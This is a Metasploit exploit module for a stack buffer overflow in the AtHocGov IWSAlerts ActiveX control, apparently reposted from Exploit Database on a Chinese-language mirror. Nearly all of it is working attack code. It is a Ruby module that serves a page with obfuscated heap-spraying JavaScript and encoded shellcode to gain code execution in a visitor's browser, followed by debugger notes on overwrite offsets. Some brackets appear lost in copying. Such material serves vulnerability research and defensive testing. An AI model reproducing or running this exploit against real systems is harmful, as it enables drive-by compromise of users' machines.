AtHocGov IWSAlerts – ActiveX Control Buffer Overflow (Metasploit)

Exploit Database
119 阅读

作者： Metasploit

日期： 2010-11-11
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16534/

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# $Id: athocgov_completeinstallation.rb 10998 2010-11-11 22:43:22Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'AtHocGov IWSAlerts ActiveX Control Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in AtHocGov IWSAlerts. When

sending an overly long string to the CompleteInstallation() method of AtHocGovTBr.dll

(6.1.4.36) an attacker may be able to execute arbitrary code. This

vulnerability was silently patched by the vendor.

'License'=> MSF_LICENSE,

'Author' => [ 'MC' ],

'Version'=> '$Revision: 10998 $',

'References' =>

[

[ 'URL', 'http://www.athoc.com/products/IWSAlerts_overview.aspx' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]

'DisclosureDate' => 'Feb 15 2008',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('URIPATH', [ true, "The URI to use.", "/" ])

], self.class)

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload.

return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode.

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)

js = %Q|

try {

var evil_string = "";

var index;

var vulnerable = new ActiveXObject('AtHocGovGSTlBar.GSHelper.1');

var my_unescape = unescape;

var shellcode = '#{shellcode}';

#{js_heap_spray}

sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);

for (index = 0; index < 12500; index++) {

evil_string = evil_string + my_unescape('#{ret}');

}

vulnerable.CompleteInstallation(evil_string);

} catch( e ) { window.location = 'about:blank' ; }

opts = {

'Strings' => true,

'Symbols' => {

'Variables' => [

'vulnerable',

'shellcode',

'my_unescape',

'index',

'evil_string',

]

}

js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)

js.update_opts(js_heap_spray.opts)

js.obfuscate()

content = %Q|

<html>

<body>

<script><!--

#{js}

//</script>

</body>

</html>

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end

=begin

IDL info...

[id(0x00000022)]

HRESULT CompleteInstallation([in] BSTR strParam);

$~/trunk/./msfpescan -f AtHocGovTBr.dll

AtHocGovTBr.dll: Microsoft Visual C++ v7.1 EXE [165]

AtHocGovTBr.dll: Microsoft Visual C++ v7.1 DLL [159]

// smash /GS

$~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SecurityCookie

SecurityCookie 0x4278193c

// /SafeSEH, not today.

$~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SEH

SEHandlerTable 0x42774e40

SEHandlerCount 0x0000021b

0:000> !exchain

0013cae0: ntdll!_except_handler3+0 (7c90ee18)

CRT scope0, filter: ntdll!RtlFreeHeap+613 (7c93bec5)

func: ntdll!RtlFreeHeap+617 (7c93bece)

0013cb1c: AtHocGovTBr!SetOfflineInstall+a0b4 (4274f944)

0013dd9c: 61473161

Invalid exception stack at 47306147

0:000> !pattern_offset 5140 0x47306147

[Byakugan] Control of 0x47306147 at offset 4680.

0:000> !pattern_offset 5140 0x61473161

[Byakugan] Control of 0x61473161 at offset 4684.

=end